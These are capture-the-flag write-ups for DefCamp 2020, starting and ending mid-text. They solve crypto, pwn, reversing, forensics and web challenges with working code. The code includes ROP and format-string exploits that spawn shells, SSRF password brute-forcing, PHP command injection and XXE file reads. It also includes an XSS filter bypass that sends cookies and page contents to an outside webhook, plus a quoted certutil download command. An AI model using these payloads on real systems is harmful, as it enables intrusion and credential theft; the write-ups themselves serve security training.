'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Inorder (misc, 308p, 28 solved) ## Description ```Our experience with algorithms since high school is quite impressive, and so is our security expertise. However, I wonder if a good hacker can find vulnerabilities in this code which may help to leak the flag without performing a dumb brute force. Flag format: CTF{message} where: message length: 12-20 message charset: ASCII 33 - 126 PS: We run this with socat.``` In the task we get a simple [python script](https://raw.githubusercontent.com/TFNS/writeups/master/2020-12-05-DefCampCTF/inorder/inorder.py) ## Task analysis The idea is pretty simple: - We can create a binary tree with our own inputs on the server- We can add nodes- We can search for things in the tree- When we quit the server will perform search for the flag in our tree and then send `Bye!` ## Vulnerability The trick here is that the tree is not balanced automatically.We can easily create a very long linear branch by sending identical inputs. This means that searching in this tree will become slower as the tree grows.If we create such long branch, and then exit, the server might need to take time to search for the "flag" and we can measure this. ## Solution ### Creating test-case If we create a tree with 10k nodes `x` and then exit, then there are 2 cases: - exit is slow, therefore `flag < 'x'`- exit is quick, therefore `flag >= 'x'` ### Retrieving data We could try a binary search, but server was not very reliable, so eventually it was better to make a linear search and observer when we started to get `slow` responses instead of `quick` ones, and such transition meant we found right char. ```pythonfrom time import time from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match, receive_until def main(): host = "34.89.211.188" port = 31070 known = '' for char in range(33, 127): if char != ord(';') and char != ord(' '): char = chr(char) s = nc(host, port) for i in range(4): x = receive_until_match(s, "Your option: ") payload = "/a " + (';'.join([known + char for _ in range(2047)])) send(s, payload) x = receive_until(s, "\n") x = receive_until_match(s, ".*\\d+") start = time() send(s, '/exit') x = receive_until_match(s, "Bye!") stop = time() print(char, stop - start) s.close() main()``` We need to manually set the `known` part after each character run, but it's the only way to be sure.We can also "verify" by setting `char` we think it is, and also `char+1`.If for `char` we're starting with `quick` responses and `char+1` starts already with `slow` it means we have the right char. After a while we finally arrive at: `CTF{W3ll_D0N3!$_^_}`
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: 